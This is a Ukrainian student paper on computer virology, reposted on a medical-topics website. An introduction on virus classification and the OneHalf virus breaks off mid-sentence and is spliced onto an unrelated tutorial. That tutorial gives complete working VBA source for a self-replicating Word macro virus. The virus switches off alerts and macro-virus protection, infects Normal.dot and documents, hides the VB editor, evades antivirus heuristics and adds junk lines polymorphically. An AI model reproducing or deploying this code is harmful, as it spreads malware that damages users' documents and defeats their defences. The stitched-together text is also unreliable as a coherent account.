АкушерствоАнатомияАнестезиологияВакцинопрофилактикаВалеологияВетеринарияГигиенаЗаболеванияИммунологияКардиологияНеврологияНефрологияОнкологияОториноларингологияОфтальмологияПаразитологияПедиатрияПервая помощьПсихиатрияПульмонологияРеанимацияРевматологияСтоматологияТерапияТоксикологияТравматологияУрологияФармакологияФармацевтикаФизиотерапияФтизиатрияХирургияЭндокринологияЭпидемиология

Київ - 2010

МІНІСТЕРСТВО ПРАЦІ ТА СОЦІАЛЬНОЇ ПОЛІТИКИ УКРАЇНИ

ІНСТИТУТ ПІДГОТОВКИ КАДРІВ ДЕРЖАВНОЇ

СЛУЖБИ ЗАЙНЯТОСТІ УКРАЇНИ

З дисципліни «Комп’ютернавірусологія»

Варіант № 12

Студента 3 курсу, групи ПЗАС-07

Факультету соціальних комунікацій

Спеціальності програмне забезпечення

Автоматизованих систем

Лавріненко Р.М.

Перевірив:

_________________________

Київ - 2010

Вступ

Ми живемо на стику двох тисячоліть, коли людство вступило в епоху нової науково-технічної революції.

До кінця двадцятого століття люди оволоділи багатьма таємницями перетворення речовини і енергії і зуміли використовувати ці знання для поліпшення свого життя. Але окрім речовини і енергії в житті людини величезну роль грає ще одна складова - інформація. Це найрізноманітніші відомості, повідомлення, вісті, знання, уміння.

В середині нашого сторіччя з'явилися спеціальні пристрої - комп'ютери, орієнтовані на зберігання і перетворення інформації і відбулася комп'ютерна революція.

Сьогодні масове застосування персональних комп'ютерів, на жаль, виявилося пов'язаним з появою програм-вірусів, що самовідтворюються, перешкоджають нормальній роботі комп'ютера, руйнують файлову структуру дисків і що завдають збитку інформації, що зберігається в комп'ютері.

Не дивлячись на прийняті в багатьох країнах закони про боротьбу з комп'ютерними злочинами і розробку спеціальних програмних засобів захисту від вірусів, кількість нових програмних вірусів постійно росте. Це вимагає від користувача персонального комп'ютера знань про природу вірусів, способи зараження вірусами і захисту від них. Це і послужило стимулом для вибору теми моєї роботи.

Я хочу показати на основі вірусу Onehalf 3544, багато шуму в 1994-95 роках, можливі шляхи зараження, розповсюдження, що наробив, руйнівні здібності вірусів і рекомендувати способи виявлення і захисту від них.

Робота виконана на основі аналізу лістингу коди тіла вірусу, отриманого за допомогою дизасемблера Sourcer версії 7.0 і експериментального зараження, - лікування декількох комп'ютерів з різними типами жорстких дисків, і використанні різних антивірусних і прикладних програм. Особливу подяку за надання матеріалів для підготовки моєї роботи хочу виразити системному програмістові Олександру Крижановському з Ялти і моєму керівникові системотехніці Олексію Корабльову.

КЛАСИФІКАЦІЯ ВІРУСІВ.

В даний час відомо більше 35000 програмних вірусів, їх можна класифікувати по наступних ознаках:

¨ місцю існування

¨ способу зараження місця існування

¨ дії

¨ особливостям алгоритму

Залежно від місця існування віруси можна розділити на мережевих, файлових, завантажувальних, файлово-завантажувальних і макро-віруси, що розповсюджуються разом з документами і електронними таблицями. Файлові віруси упроваджуються головним чином у виконувані модулі, тобто У файли, що мають розширення COM і EXE. Завантажувальні віруси упроваджуються в завантажувальний сектор диска (Boot-сектор) або в сектор, що містить програму завантаження системного диска (Master Boot Record). Файлово-завантажувальні віруси заражають як файли, так і завантажувальні сектори дисків.

За способом зараження віруси діляться на резидентних і нерезидентних. Резидентний вірус при зараженні (інфікуванні) комп'ютера залишає в оперативній пам'яті свою резидентну частину, яка потім перехоплює звернення операційної системи до об'єктів зараження (файлам, завантажувальним секторам дисків і т. п.) і упроваджується в них. Резидентні віруси знаходяться в пам'яті і є активними аж до виключення або перезавантаження комп'ютера. Нерезидентні віруси не заражають пам'ять комп'ютера і є активними обмежений час.

По ступеню дії віруси можна розділити на наступні види:

¨ безпечні, такі, що не заважають роботі комп'ютера, але що зменшують об'єм вільної оперативної пам'яті і пам'яті на дисках, дії таких вірусів виявляються в яких-небудь графічних або звукових ефектах

¨ небезпечні віруси, які можуть привести до різних порушень в роботі комп'ютера

¨ дуже небезпечні, дія яких може привести до втрати програм, знищення даних, стирання інформації в системних областях диска.

По особливостях алгоритму віруси важко класифікувати із-за великої різноманітності. Відомі віруси-невидимки, звані стелс-вирусами, які дуже важко виявити і знешкоджувати, оскільки вони перехоплюють звернення операційної системи до уражених файлів і секторів дисків і підставляють замість свого тіла незаражені ділянки диска. Найважче виявити віруси-мутанти (поліморфні), що містять алгоритми шифровки-розшифровки, завдяки яким копії одного і того ж вірусу не мають жодного ланцюжка байтів, що повторюється.

Вірус Onehalf 3544, що розглядається мною, примітний не тільки тим, що його поява викликала великий резонанс на комп'ютерному світі, але і тим, що він одночасно об'єднує в собі безліч свойст

 

Тепер розберемо алгоритм простого макровірусу з переходом в стелс:

1) Якщо Normal.dot не заражений, то зберігаємо текст макросу в якому-небудь зовнішньому прихованому файлі.

 

2)Проверим якщо поточний документ не заражений, то заразимо його.

 

3)Если Normal.dot не заражений, то інфікуємо його.

 

Алгоритм досить простий, чи не так? Давайте тепер його реалізуємо.

 

Ось ісходник:

 

'-------------------------------
Sub Document_Close()
' h0b0t Word 97/2000 macr0 virus
Application.DisplayAlerts = 0 'Отключить тревогу
Options.VirusProtection = False 'Отключить сообщения о вирусах

If Application.UserName <> "[h0b0t]" Then
ActiveDocument.VBProject.VBComponents("ThisDocument").Export "c:\Windows\sl0n.vxd"
End If
'Экспортирование файла с макросами
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule

If AD.lines(1, 1) = "" Then 'Если документ не заражён, то заразим
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1
If LOF(1) = 0 Then GoTo quit1
i = 1

Do While Not EOF(1)
Line Input #1, a
If i > 8 Then
If i = 10 Then
t.CodeModule.InsertLines i, "sub Document_Close()"
Else: t.CodeModule.InsertLines i, a
End If
End If
i = i + 1
Loop
quit1:
Close #1

End If

If Application.UserName <> "[h0b0t]" Then 'Если документ не заражён, то заразим
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1
If LOF(1) = 0 Then GoTo quit
i = 1

Do While Not EOF(1)
Line Input #1, a
If i > 8 Then
If i = 10 Then
t.CodeModule.InsertLines i, "sub AutoClose()"
Else: t.CodeModule.InsertLines i, a
End If
End If
i = i + 1
Loop
quit:
Close #1
Application.UserName = "[h0b0t]"
End If
End Sub
'-------------------------------

Даний вірус заражає документи при їх закритті, але його легко можна модифікувати для зараження при створенні нового документа. Для цього всього лише необхідно замінити Autoclose() на Autonew(). Аналогічним чином можна зробити при відкритті документа або при збереженні (Autoopen, Autosave).

 

Взагалі існує безліч способів інфікування документів Word, ми використовували безпосередню роботу з файлами і метод Export для створення файлу на диску з текстом макросу і копіюванням його в документи, що інфікувалися.

 

У макро вірусах застосовуються все ті ж вірусні технології, що і в звичайних вірусах, тобто стелс технологія, антиевристика, поліморфізм.

 

Почнемо наш розгляд із стелс технологій. У чому ж полягають стелс технології стосовно макро вірусам? В більшості своїй це заховання власної коди від очей користувачів. Реально на практиці це виглядає таким чином: відключаються в меню Word'a опції "Редактор VB" і відключається кнопка "Break". Після цього користувач запідозрив наявність макро вірусу якщо поліз подивитися на макроси в Word'e нічого не побачить, що нам і потрібне. Тепер практична частина до нашого вірусу досить додати наступні рядки:

'-------------------------------
Private Sub Stealth()
Application.ShowVisualBasicEditor = 0 'Вырубить показ Редактора VB
Application.EnableCancelKey = 0 'Отключить клавишу Break
End Sub
'-------------------------------
Sub ViewVBCode()
Stealth
End Sub
'-------------------------------
Sub ToolsMacro()
Stealth
End Sub
'-------------------------------
Sub FileTemplates()
Stealth
End Sub
'-------------------------------

Після цього можна вважати, що ми використовували стелс технологію для перехоплення трьох макросів:

ViewVBCode(), ToolsMacro(), FileTemplates().

Так само має сенс відключення тривоги і повідомлень про віруси, навіщо лякати користувачів?

 


Application.DisplayAlerts = 0 'Отключить тревогу
Options.VirusProtection = False 'Отключить сообщения о вирусах

Тепер перейдемо до антиевристики. Основним антиевристичним прийомом в макро вірусах є зміна шрифту, так само можна використовувати інші антиевристичні прийоми, які знаходяться досить простим способом, - методом наукового тика. І так зміна шрифту:

 


Selection.Font.Name = "Arial"

Після цього AVP і Dr.Web у мене перестали пізнавати навіть відомі ним віруси, які до цього успішно виявляли.

І остання технологія це як завжди поліморфізм або ж "мутаційна" технологія. Сенс поліморфної технології стосовно макро вірусам ідентичний поліморфізму для звичайних вірусів. Існує два шляхи мутациій - перший і найпоширеніший це шифрування коди макросу. А другий це розбавлення коди макросу сміттєвими командами. Так само можливе комбінування цих двох способів розглянемо конкретніше другий спосіб. Даний генератор поліморфної коди призначений для розбавлення реальних інструкцій сміттям.

 

Розглянемо саму функцію:

Private Function poly() As String

Dim mas(20)
mas(1) = "'rghuyhewh" '
mas(2) = "'[+]-31337-[+]" '
mas(3) = "'heh-polymorf-engine-sl0n-(c)" ' Это мусорные
mas(4) = "'sd,jghsdighiuehrwiur345t3bk" ' строки которыми мы
mas(5) = "':for bc=1 to 987: next bc" ' будем разбавлять основной
mas(6) = "'436ghdfjhdfjddfh" ' код


oncemore:
a = Rnd(4) '
a = a * 10 ' Это генератор случайных чисел
a = Int(a) ' В итоге данная функция возвращает
If a > 6 Then GoTo oncemore ' случайную строку из масива mas
poly = mas(a) '

End Function
'-------------------------------

Тепер розглянемо вірус, який поєднує в собі всі три технології, тобто він використовуватиме як стелс технологію так і поліморфну технологію плюс пара антиевристичних інструкцій.

 

Ось ісходник:

 


'-------------------------------
Private Function poly() As String

Dim mas(20)
mas(1) = "'rghuyhewh" '
mas(2) = "'[+]-31337-[+]" '
mas(3) = "'heh-polymorf-engine-sl0n-(c)" ' Это мусорные
mas(4) = "'sd,jghsdighiuehrwiur345t3bk" ' строки которыми мы
mas(5) = "':for bc=1 to 987: next bc" ' будем разбавлять основной
mas(6) = "'436ghdfjhdfjddfh" ' код


oncemore:
a = Rnd(4) '
a = a * 10 ' Это генератор случайных чисел
a = Int(a) ' В итоге данная функция возвращает
If a > 6 Then GoTo oncemore ' случайную строку из масива mas
poly = mas(a) '

End Function
'-------------------------------
Sub Document_Close()
'Application.UserName = "sl0n"
' h0b0t Word 97/2000 macr0 virus
Application.DisplayAlerts = 0 'Отключить тревогу
Options.VirusProtection = False 'Отключить сообщения о вирусах

fonta = Selection.Font.Name '
Selection.Font.Name = "Arial" ' Антиэвристика
Selection.Font.Name = fonta '

If Application.UserName <> "[h0b0t]" Then
ActiveDocument.VBProject.VBComponents("ThisDocument").Export "c:\Windows\sl0n.vxd"
End If
'Экспортирование файла с макросами
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule

If AD.lines(1, 1) = "" Then 'Если документ не заражён, то заразим
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1
If LOF(1) = 0 Then GoTo quit1
i = 1

Do While Not EOF(1)
Line Input #1, a
If i > 8 Then

If i = 29 Then
t.CodeModule.InsertLines i, "sub Document_Close()"
Else: t.CodeModule.InsertLines i, poly + a + poly
End If
End If
i = i + 1
Loop
quit1:
Close #1

End If

If Application.UserName <> "[h0b0t]" Then 'Если документ не заражён, то заразим
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1
If LOF(1) = 0 Then GoTo quit
i = 1

Do While Not EOF(1)
Line Input #1, a
If i > 8 Then

If i = 29 Then
t.CodeModule.InsertLines i, "sub AutoClose()"
Else: t.CodeModule.InsertLines i, poly + a + poly
End If
End If
i = i + 1
Loop
quit:
Close #1
Application.UserName = "[h0b0t]"
MsgBox "normal.dot 0wn3d"
End If
End Sub
'-------------------------------
Private Sub Stealth()
Application.ShowVisualBasicEditor = 0 'Вырубить показ Редактора VB
Application.EnableCancelKey = 0 'Отключить клавишу Break
End Sub
'-------------------------------
Sub ViewVBCode()
Stealth
End Sub
'-------------------------------
Sub ToolsMacro()
Stealth
End Sub
'-------------------------------
Sub FileTemplates()
Stealth
End Sub
'-------------------------------

 


Дата добавления: 2015-09-27 | Просмотры: 292 | Нарушение авторских прав







При использовании материала ссылка на сайт medlec.org обязательна! (0.008 сек.)